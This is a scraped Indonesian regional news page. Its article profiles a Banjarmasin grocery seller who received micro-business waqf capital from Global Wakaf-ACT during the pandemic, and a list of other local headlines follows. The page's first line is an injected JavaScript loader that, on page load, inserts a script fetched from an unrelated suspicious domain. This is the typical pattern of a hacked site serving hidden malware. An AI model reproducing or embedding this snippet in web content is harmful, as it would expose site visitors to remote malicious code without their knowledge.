(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Susyanti, perempuan 43 tahun itu tak muluk-muluk dalam bermimpi. “Saya ingin lebih baik dalam beribadah,” ucapnya dengan mata berkaca-kaca.
Ibu dari tiga anak itu terharu dengan adanya program Wakaf Modal Usaha Mikro dari Global Wakaf (GW)-Aksi Cepat Tanggap (ACT). Baginya, modal tersebut adalah jalan pertolongan dari Allah atas kesulitan yang Ia alami saat ini.
Berjualan sembako yang dilakono sudah 22 tahun dipilih Susyanti dengan modal awal hanya Rp 200 ribu. Bersama almarhum suami pertama, ia berhasil mengembangkan usaha hingga bisa berjualan skala partai. Namun, sejak sang suami meninggal pelanggan jadi semakin sedikit. Ditambah kebutuhan sekolah anak-anaknya yang makin besar, membuat Susyanti terpaksa berhutang di bank. “Untuk modal dan kebutuhan anak-anak sekolah,” tuturnya.
Mimpinya untuk menyekolahkan anak-anaknya ke pondok pesantren menjadi motivasinya dalam bekerja. Kini Ia juga kembali memiliki suami, Idris (38 thn) yang sehari-hari berjualan mie ayam keliling. Anak keduanya pun sedang menimba ilmu di salah satu pondok pesantren di Banjarbaru. Sedangkan anak pertama masih harus menyelesaikan kuliah tingkat akhir di Politeknik Banjarmasin.
Saat pandemi Covid-19 melanda enam bulan yang lalu, warung Susyanti sepi pembeli. Modal usaha terpakai untuk kebutuhan konsumsi. Akhirnya ia memutuskan untuk memindah tempat jualannya. Ia menyewa sebuah rumah di dalam Gang Hidayah yang pada akhirnya membuatnya kembali memperpanjang pinjaman di bank.
Susyanti merasa usahanya mulai limbung. Modal banyak terpakai untuk makan. Meski demikian, Ia tak gentar untuk berbagi. Sejak tiga bulan yang lalu, Ia rutin berbagi nasi bungkus gratis setiap hari Jumat. “Saya punya sakit maag yang mengharuskan minum obat rutin, karena keuangan susah begini, Saya ikhtiarkan dengan bersedekah Saja. Alhamdulillah maag nya udah jarang kambuh,” senyumnya sumringah.
Hadirnya Wakaf Modal Usaha Mikro, bagi Susyanti adalah pertolongan dari Allah. “Pas banget kondisi sedang oleng begini, bingung gimana menjalankan usaha di tengah pandemi. Alhamdulillah ada wakaf,” pungkasnya.
Dengan WMUM tersebut Susyanti bisa menambah dagangannya. Terima kasih dermawan atas amanah wakaf yang dititipkan ke Global Wakaf-ACT. Harapan untuk hidup yang lebih baik telah tumbuh di Kota Banjarmasin. (actkalsel/kanalkalimantan.com)
KANALKALIMANTAN.COM, AMUNTAI - Khawatir membahayakan para pelajar, sarang tawon berukuran sedang berhasil dievakuasi petugas Pemadam… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai penting peranan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
This website uses cookies.